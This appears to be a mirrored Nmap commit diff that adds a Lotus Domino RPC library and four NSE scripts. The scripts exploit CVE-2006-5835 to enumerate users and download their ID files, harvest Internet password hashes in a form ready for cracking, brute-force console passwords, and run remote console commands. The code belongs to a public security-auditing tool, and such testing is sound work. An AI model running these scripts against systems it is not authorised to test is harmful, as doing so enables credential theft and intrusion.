1
0
mirror of https://github.com/nmap/nmap.git synced 2026-01-20 13:19:01 +00:00

o [NSE] Added a smallish Lotus Domino rpc library (nrpc.lua) and some Lotus

Domino oriented scripts:
  - domino-enum-users.nse guesses users and attempts to download ID files by
                          exploiting (CVE-2006-5835).
  - domino-enum-passwords attempts to download Internet passwords and ID files
                          from the web server.
  - domcon-brute performs password guessing against the remote console.
  - domcon-cmd adds support for running custom remote console commands.
  [Patrik]
This commit is contained in:
patrik
2010-08-19 23:02:58 +00:00
parent 73b01af10a
commit e80b196d2e
7 changed files with 991 additions and 0 deletions

View File

@@ -1,5 +1,15 @@
# Nmap Changelog ($Id$); -*-text-*-
o [NSE] Added a smallish Lotus Domino rpc library (nrpc.lua) and some Lotus
Domino oriented scripts:
- domino-enum-users.nse guesses users and attempts to download ID files by
exploiting (CVE-2006-5835).
- domino-enum-passwords attempts to download Internet passwords and ID files
from the web server.
- domcon-brute performs password guessing against the remote console.
- domcon-cmd adds support for running custom remote console commands.
[Patrik]
o [NSE] Added an Informix library and three scripts that make use of it:
- informix-brute uses the brute framework to perform password guessing
- informix-query add support for running SQL queries against Informix

226
nselib/nrpc.lua Normal file
View File

@@ -0,0 +1,226 @@
--- A minimalistic library to support Domino RPC
--
-- Summary
-- -------
-- The library currently only supports user enumeration and uses chunks of
-- captured data to do so.
--
-- Overview
-- --------
-- The library contains the following classes:
--
-- o DominoPacket
-- - The packet class holding the packets sent between the client and the
-- IBM Lotus Domino server
--
-- o Helper
-- - A helper class that provides easy access to the rest of the library
--
-- o DominoSocket
-- - This is a copy of the DB2Socket class which provides fundamental
-- buffering
--
--
-- Example
-- -------
-- The following sample code illustrates how scripts can use the Helper class
-- to interface the library:
--
-- <code>
-- helper = nrpc.Helper:new(host, port)
-- status, err = nrpc:Connect()
-- status, res = nrpc:isValidUser("Patrik Karlsson")
-- status, err = nrpc:Close()
-- </code>
--
-- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html
-- @author "Patrik Karlsson <patrik@cqure.net>"
--
--
-- Version 0.1
-- Created 07/23/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
--
module(... or "nrpc", package.seeall)
-- The Domino Packet
DominoPacket = {
--- Creates a new DominoPacket instance
--
-- @param data string containing the packet data
-- @return a new DominoPacket instance
new = function( self, data )
local o = {}
setmetatable(o, self)
self.__index = self
o.data = data
return o
end,
--- Reads a packet from the DominoSocket
--
-- @param domsock DominoSocket connected to the server
-- @return Status (true or false).
-- @return Error code (if status is false).
read = function( self, domsock )
local status, data = domsock:recv(2)
local pos, len = bin.unpack( "<S", data )
return domsock:recv( len )
end,
--- converts the packet to a string
__tostring = function(self)
return bin.pack("<SA", #self.data, self.data )
end,
}
DominoSocket =
{
new = function(self)
local o = {}
setmetatable(o, self)
self.__index = self
o.Socket = nmap.new_socket()
o.Buffer = nil
return o
end,
--- Establishes a connection.
--
-- @param hostid Hostname or IP address.
-- @param port Port number.
-- @param protocol <code>"tcp"</code>, <code>"udp"</code>, or
-- @return Status (true or false).
-- @return Error code (if status is false).
connect = function( self, hostid, port, protocol )
self.Socket:set_timeout(5000)
return self.Socket:connect( hostid, port, protocol )
end,
--- Closes an open connection.
--
-- @return Status (true or false).
-- @return Error code (if status is false).
close = function( self )
return self.Socket:close()
end,
--- Opposed to the <code>socket:receive_bytes</code> function, that returns
-- at least x bytes, this function returns the amount of bytes requested.
--
-- @param count of bytes to read
-- @return true on success, false on failure
-- @return data containing bytes read from the socket
-- err containing error message if status is false
recv = function( self, count )
local status, data
self.Buffer = self.Buffer or ""
if ( #self.Buffer < count ) then
status, data = self.Socket:receive_bytes( count - #self.Buffer )
if ( not(status) ) then
return false, data
end
self.Buffer = self.Buffer .. data
end
data = self.Buffer:sub( 1, count )
self.Buffer = self.Buffer:sub( count + 1)
return true, data
end,
--- Sends data over the socket
--
-- @return Status (true or false).
-- @return Error code (if status is false).
send = function( self, data )
return self.Socket:send( data )
end,
}
Helper = {
--- Creates a new Helper instance
--
-- @param host table as recieved by the script action method
-- @param port table as recieved by the script action method
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.domsock = DominoSocket:new()
return o
end,
--- Connects the socket to the Domino server
--
-- @return status true on success, false on failure
-- @return err error message if status is false
connect = function( self )
if( not( self.domsock:connect( self.host.ip, self.port.number, "tcp" ) ) ) then
return false, ("ERROR: Failed to connect to Domino server %s:%d\n"):format(self.host, self.port)
end
return true
end,
--- Disconnects from the Lotus Domino Server
--
-- @return status true on success, false on failure
-- @return err error message if status is false
disconnect = function( self )
return self.domsock:close()
end,
--- Attempt to check whether the user exists in Domino or not
--
-- @param username string containing the user name to guess
-- @return status true on success false on failure
-- @return domino_id if it exists and status is true
-- err if status is false
isValidUser = function( self, username )
local data = bin.pack("H", "00001e00000001000080000007320000700104020000fb2b2d00281f1e000000124c010000000000")
local status, id_data
local data_len, pos, total_len, pkt_type, valid_user
self.domsock:send( tostring(DominoPacket:new( data )) )
data = DominoPacket:new():read( self.domsock )
data = bin.pack("HCHAH", "0100320002004f000100000500000900", #username + 1, "000000000000000000000000000000000028245573657273290000", username, "00")
self.domsock:send( tostring(DominoPacket:new( data ) ) )
status, id_data = DominoPacket:new():read( self.domsock )
pos, pkt_type = bin.unpack("C", id_data, 3)
pos, valid_user = bin.unpack("C", id_data, 11)
pos, total_len = bin.unpack("<S", id_data, 13)
if ( pkt_type == 0x16 ) then
if ( valid_user == 0x19 ) then
return true
else
return false
end
end
if ( pkt_type ~= 0x7e ) then
return false, "Failed to retrieve ID file"
end
status, data = DominoPacket:new():read( self.domsock )
id_data = id_data:sub(33)
id_data = id_data .. data:sub(11, total_len - #id_data + 11)
return true, id_data
end,
}

168
scripts/domcon-brute.nse Normal file
View File

@@ -0,0 +1,168 @@
description = [[
Performs password guessing against the Lotus Domino Console
]]
---
-- @usage
-- nmap --script domcon-brute -p 2050 <host>
--
-- @output
-- PORT STATE SERVICE REASON
-- 2050/tcp open unknown syn-ack
-- | domcon-brute:
-- | Accounts
-- |_ patrik karlsson:secret => Login correct
--
-- Summary
-- -------
-- x The Driver class contains the driver implementation used by the brute
-- library
--
--
--
-- Version 0.1
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
--
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
require 'shortport'
require 'brute'
portrule = shortport.port_or_service(2050, "", "tcp", "open")
local not_admins = {}
SocketPool = {
new = function(self, max_sockets)
local o = {}
setmetatable(o, self)
self.__index = self
o.max_sockets = max_sockets
o.pool = {}
return o
end,
getSocket = function(self, host, port)
while(true) do
for i=1, #self.pool do
if ( not( self.pool[i].inuse ) ) then
self.pool[i].inuse = true
return self.pool[i].socket
end
end
if ( #self.pool < self.max_sockets ) then
local socket = nmap.new_socket()
local status = socket:connect( host.ip, port.number, "tcp")
if ( status ) then
socket:reconnect_ssl()
end
if ( status and socket ) then
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
end
end
stdnse.sleep(1)
end
end,
releaseSocket = function( self, socket )
for i=1, #self.pool do
if( socket == self.pool[i].socket ) then
self.pool[i].inuse = false
break
end
end
end,
shutdown = function( self )
for i=1, #self.pool do
self.pool[i].socket:close()
end
end,
}
Driver =
{
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.sockpool = options
return o
end,
connect = function( self )
self.socket = self.sockpool:getSocket( self.host, self.port )
if ( self.socket ) then
return true
else
return false
end
end,
--- Attempts to login to the Lotus Domino Console
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local data = ("#UI %s,%s\n"):format(username,password)
local status
if ( not_admins[username] ) then
return false, brute.Error:new( "Incorrect password" )
end
status, data = self.socket:send( data )
if ( not(status) ) then
local err = brute.Error:new( data )
err:setRetry(true)
return false, err
end
status, data = self.socket:receive_bytes(5)
if ( status and data:match("NOT_REG_ADMIN") ) then
not_admins[username] = true
elseif( status and data:match("VALID_USER") ) then
return true, brute.Account:new( username, password, "OPEN")
end
return false, brute.Error:new( "Incorrect password" )
end,
disconnect = function( self )
self.sockpool:releaseSocket( self.socket )
end,
check = function( self )
return true
end,
}
action = function(host, port)
local status, result
local pool = SocketPool:new(10)
local engine = brute.Engine:new(Driver, host, port, pool )
status, result = engine:start()
pool:shutdown()
return result
end

134
scripts/domcon-cmd.nse Normal file
View File

@@ -0,0 +1,134 @@
description = [[
Runs a console command on the Lotus Domino Console
]]
---
-- @usage
-- nmap -np 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
--
-- @output
-- PORT STATE SERVICE REASON
-- 2050/tcp open unknown syn-ack
-- | domcon-cmd:
-- | show server
-- |
-- | Lotus Domino (r) Server (Release 8.5 for Windows/32) 2010-07-30 00:52:58
-- |
-- | Server name: server1/cqure - cqure testing server
-- | Domain name: cqure
-- | Server directory: C:\Program Files\IBM\Lotus\Domino\data
-- | Partition: C.Program Files.IBM.Lotus.Domino.data
-- | Elapsed time: 00:27:11
-- | Transactions/minute: Last minute: 0; Last hour: 0; Peak: 0
-- | Peak # of sessions: 0 at
-- | Transactions: 0 Max. concurrent: 20
-- | ThreadPool Threads: 20 (TCPIP Port)
-- | Availability Index: 100 (state: AVAILABLE)
-- | Mail Tracking: Not Enabled
-- | Mail Journalling: Not Enabled
-- | Number of Mailboxes: 1
-- | Pending mail: 0 Dead mail: 0
-- | Waiting Tasks: 0
-- | DAOS: Not Enabled
-- | Transactional Logging: Not Enabled
-- | Fault Recovery: Not Enabled
-- | Activity Logging: Not Enabled
-- | Server Controller: Enabled
-- | Diagnostic Directory: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT
-- | Console Logging: Enabled (1K)
-- | Console Log File: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT\console.log
-- |_ DB2 Server: Not Enabled
--
-- @args domcon-cmd.cmd The command to run on the remote server
-- @args domcon-cmd.user The user used to authenticate to the server
-- @args domcon-cmd.pass The password used to authenticate to the server
--
--
-- Version 0.1
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
--
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
require 'shortport'
portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open")
--- Reads an API block from the server
--
-- @param socket already connected to the server
-- @return status true on success, false on failure
-- @return result table containing lines with server response
-- or error message if status is false
local function readAPIBlock( socket )
local lines
local result = {}
local status, line = socket:receive_lines(1)
if ( not(status) ) then return false, "Failed to read line" end
lines = stdnse.strsplit( "\n", line )
for _, line in ipairs( lines ) do
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
table.insert(result, line)
end
end
-- Clear trailing empty lines
while( true ) do
if ( result[#result] == "" ) then
table.remove(result, #result)
else
break
end
end
return true, result
end
action = function(host, port)
local socket = nmap.new_socket()
local result_part, result, cmds = {}, {}, {}
local user = nmap.registry.args['domcon-cmd.user']
local pass = nmap.registry.args['domcon-cmd.pass']
local cmd = nmap.registry.args['domcon-cmd.cmd']
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
cmds = stdnse.strsplit(";%s*", cmd)
socket:set_timeout(10000)
status = socket:connect( host.ip, port.number, "tcp")
if ( status ) then
socket:reconnect_ssl()
end
socket:send("#API\n")
socket:send( ("#UI %s,%s\n"):format(user,pass) )
socket:receive_lines(1)
socket:send("#EXIT\n")
for i=1, #cmds do
socket:send(cmds[i] .. "\n")
status, result_part = readAPIBlock( socket )
if( status ) then
result_part.name = cmds[i]
table.insert( result, result_part )
else
return " \n ERROR: " .. result_part
end
end
socket:close()
return stdnse.format_output( true, result )
end

View File

@@ -0,0 +1,318 @@
description = [[
Attempts to enumerate the hashed Domino Internet Passwords, that by default are accessible to all authenticated users.
The script can also download any Domino ID Files attached to the Person document.
]]
---
-- @usage
-- nmap --script domino-enum-passwords -p 80 <host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret
--
-- This script attempts to enumerate the password hashes used to authenitcate
-- to the Lotus Domino Web interface. By default, these hashes are accessible
-- to every authenticated user. Passwords are presented in a form suitable for
-- running in John the Ripper. In addition the script can be used to download
-- any ID files attached to the Person document.
--
-- It appears as if form based authentication is enabled, basic authentication
-- still works. Therefore the script should work in both scenarios. Valid
-- credentials can either be supplied directly using the parameters username
-- and password or indirectly from results of http-brute or http-form-brute.
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | domino-enum-passwords:
-- | Information
-- | Information retrieved as: "Jim Brass"
-- | Internet hashes
-- | Jim Brass:(GYvlbOz2idzni5peJUdD)
-- | Warrick Brown:(GZghNctqAnJgyklUl2ml)
-- | Gill Grissom:(GyhsteeXTr75YOSwW8mc)
-- | David Hodges:(GZEJRHqJEVc5IZCsNX0U)
-- | Ray Langston:(GE18MGVGD/8ftYMFaVlY)
-- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj)
-- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl)
-- | Wendy Simms:(G6wooaElHpsvA4TPvSfi)
-- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp)
-- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM)
-- | ID Files
-- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id)
-- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id)
-- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id)
-- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id)
-- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id)
-- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id)
-- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id)
-- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id)
-- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id)
-- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id)
-- |
-- |_ Results limited to 10 results (see domino-enum-passwords.count)
--
--
-- @args domino-enum-passwords.path points to the path protected by authentication
-- @args domino-enum-passwords.hostname sets the host header in case of virtual hosting
-- @args domino-enum-passwords.count the number of internet hashes and id files to fetch.
-- If a negative value is given, all hashes and id files are retrieved (default: 10)
-- @args domino-enum-passwords.idpath the path where downloaded ID files should be saved
-- If not given, the script will only indicate if the ID file is donwloadable or not
--
-- Version 0.2
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 07/31/2010 - v0.2 - add support for downloading ID files
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
dependencies = {"http-brute", "http-form-brute"}
require 'shortport'
require 'http'
portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")
--- Checks if the <code>path</code> require authentication
--
-- @param host table as received by the action function or the name specified
-- in the hostname argument
-- @param port table as received by the action function
-- @param path against which to check if authentication is required
local function requiresAuth( host, port, path )
local result = http.get(host, port, "/names.nsf")
if ( result.status == 401 ) then
return true
elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
return true
end
return false
end
--- Checks if the credentials are valid and allow access to <code>path</code>
--
-- @param host table as received by the action function or the name specified
-- in the hostname argument
-- @param port as recieved by the action method
-- @param path the patch against which to validate the credentials
-- @param user the username used for authentication
-- @param pass the password used for authentication
-- @return true on valid access, false on failure
local function isValidCredential( host, port, path, user, pass )
-- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successfull
local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
if ( result.status == 401 ) then
return false
end
return true
end
--- Retrieves all uniq links in a pages
--
-- @param body the html content of the recieved page
-- @param filter a filter to use for additional link filtering
-- @param links [optional] table containing previousy retrieved links
-- @return links table containing retrieved links
local function getLinks( body, filter, links )
local tmp = {}
local links = links or {}
local filter = filter or ".*"
if ( not(body) ) then return end
for _, v in ipairs( links ) do
tmp[v] = true
end
for link in body:gmatch("<a href=\"([^\"]+)\"") do
-- use link as key in order to remove duplicates
if ( link:match(filter)) then
tmp[link] = true
end
end
links = {}
for k, _ in pairs(tmp) do
table.insert(links, k)
end
return links
end
--- Retrieves the "next page" path from the returned document
--
-- @param body the html content of the recieved page
-- @return link to next page
local function getPager( body )
return body:match("<form.+action=\"(.+%?ReadForm)\&" )
end
--- Retrieves the username and passwords for a user
--
-- @param body the html content of the recieved page
-- @return full_name the full name of the user
-- @return password the password hash for the user
local function getUserDetails( body )
-- retrieve the details
local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
local id_file = body:match("<a href=\"(.-UserID)\">")
-- In case we have more than one full name, return only the last
full_name = stdnse.strsplit(";%s*", full_name)
full_name = full_name[#full_name]
return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
end
--- Saves the ID file to disk
--
-- @param filename string containing the name and full path to the file
-- @param data contains the data
-- @return status true on success, false on failure
-- @return err string containing error message if status is false
local function saveIDFile( filename, data )
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
f:close()
return true
end
action = function(host, port)
local path = "/names.nsf"
local download_path = nmap.registry.args['domino-enum-passwords.idpath']
local vhost= nmap.registry.args['domino-enum-passwords.hostname']
local user = nmap.registry.args['domino-enum-passwords.username']
local pass = nmap.registry.args['domino-enum-passwords.password']
local creds, pos, pager
local links, result, hashes, id_files = {}, {}, {}, {}
local chunk_size = 30
local max_fetch = nmap.registry.args['domino-enum-passwords.count'] and tonumber(nmap.registry.args['domino-enum-passwords.count']) or 10
local http_response
if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then
creds = nmap.registry['credentials']['http']
end
-- authentication required?
if ( requiresAuth( vhost or host, port, path ) ) then
if ( not(user) and not(creds) ) then
return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)"
end
-- A user was provided, attempt to authenticate
if ( user ) then
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
return " \n ERROR: The provided credentials where invalid"
end
elseif ( creds ) then
for _, cred in pairs(creds) do
if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then
user = cred.username
pass = cred.password
break
end
end
end
end
if ( not(user) and not(pass) ) then
return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)"
end
path = "/names.nsf/People?OpenView"
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
pager = getPager( http_response.body )
if ( not(pager) ) then
return " \n ERROR: Failed to process results"
end
pos = 1
-- first collect all links
while( true ) do
path = pager .. "&Start=" .. pos
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
if ( http_response.status == 200 ) then
local size = #links
links = getLinks( http_response.body, "%?OpenDocument", links )
-- No additions were made
if ( size == #links ) then
break
end
end
if ( max_fetch > 0 and max_fetch < #links ) then
break
end
pos = pos + chunk_size
end
for _, link in ipairs(links) do
stdnse.print_debug(2, "Fetching link: %s", link)
http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
local u_details = getUserDetails( http_response.body )
if ( max_fetch > 0 and #hashes >= max_fetch ) then
break
end
if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
stdnse.print_debug(2, "Found Internet has for: %s:%s", u_details.fullname, u_details.passwd)
table.insert( hashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
end
if ( u_details.idfile ) then
stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname)
if ( download_path ) then
stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name)
http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
if ( http_response.status == 200 ) then
local status, err = saveIDFile( ("%s/%s.id"):format(download_path, u_details.fullname), http_response.body )
if ( status ) then
table.insert( id_files, ("%s ID File has been downloaded (%s/%s.id)"):format(u_details.fullname, download_path, u_details.fullname) )
else
table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
end
else
table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
end
else
table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
end
end
end
if ( #hashes ) then
hashes.name = "Internet hashes"
table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
table.insert( result, hashes )
if ( #id_files ) then
id_files.name = "ID Files"
table.insert( result, id_files )
end
end
local result = stdnse.format_output(true, result)
if ( max_fetch > 0 ) then
result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch)
end
return result
end

View File

@@ -0,0 +1,131 @@
description = [[
A script that attempts to discover valid IBM Lotus Domino users and download
their ID files. (CVE-2006-5835)
]]
---
-- @usage
-- nmap --script domino-enum-users -p 5900 <host>
--
-- @output
-- PORT STATE SERVICE REASON
-- 1352/tcp open lotusnotes
-- | domino-enum-users:
-- | User "Patrik Karlsson" found, but not ID file could be downloaded
-- | Succesfully stored "FFlintstone" in /tmp/FFlintstone.id
-- |_ Succesfully stored "MJacksson" in /tmp/MJacksson.id
--
--
-- @args domino-id.path the location to which any retrieved ID files are stored
-- @args domino-id.username the name of the user from which to retrieve the ID.
-- If this parameter is not specified, the unpwdb library will be used to
-- brute force names of users.
--
-- For more information see:
-- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026
--
-- Credits
-- -------
-- o Ollie Whitehouse for bringing this to my attention back in the days when
-- it was first discovered and for the c-code on which this is based.
--
-- Version 0.1
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
--
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
require 'shortport'
require 'nrpc'
require 'unpwdb'
portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
--- Saves the ID file to disk
--
-- @param filename string containing the name and full path to the file
-- @param data contains the data
-- @return status true on success, false on failure
-- @return err string containing error message if status is false
local function saveIDFile( filename, data )
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
f:close()
return true
end
action = function(host, port)
local helper = nrpc.Helper:new( host, port )
local status, data, usernames, err
local path = nmap.registry.args['domino-enum-users.path']
local result = {}
local save_file = false
local counter = 0
if ( nmap.registry.args['domino-enum-users.username'] ) then
usernames = ( function()
local b = true
return function()
if ( b ) then
b=false;
return nmap.registry.args['domino-enum-users.username']
end
end
end )()
else
status, usernames = unpwdb.usernames()
if ( not(status) ) then
return false, "Failed to load usernames"
end
end
for username in usernames do
status = helper:connect()
if ( not(status) ) then
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
break
end
status, data = helper:isValidUser( username )
helper:disconnect()
if ( status and data and path ) then
local filename = ("%s/%s.id"):format(path, username )
local status, err = saveIDFile( filename, data )
if ( status ) then
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
else
stdnse.print_debug( err )
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
end
elseif( status and data ) then
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username, filename) )
elseif ( status ) then
table.insert(result, ("User \"%s\" found, but not ID file could be downloaded"):format(username) )
end
counter = counter + 1
end
if ( #result == 0 ) then
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
end
result = stdnse.format_output( true, result )
if ( err ) then
result = result .. (" \n %s"):format(err)
end
return result
end

View File

@@ -24,6 +24,10 @@ Entry { filename = "dns-random-txid.nse", categories = { "external", "intrusive"
Entry { filename = "dns-recursion.nse", categories = { "default", "intrusive", } }
Entry { filename = "dns-service-discovery.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "dns-zone-transfer.nse", categories = { "default", "discovery", "intrusive", } }
Entry { filename = "domcon-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "domcon-cmd.nse", categories = { "auth", "intrusive", } }
Entry { filename = "domino-enum-passwords.nse", categories = { "auth", "intrusive", } }
Entry { filename = "domino-enum-users.nse", categories = { "auth", "intrusive", } }
Entry { filename = "drda-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "drda-info.nse", categories = { "discovery", "safe", "version", } }
Entry { filename = "finger.nse", categories = { "default", "discovery", "safe", } }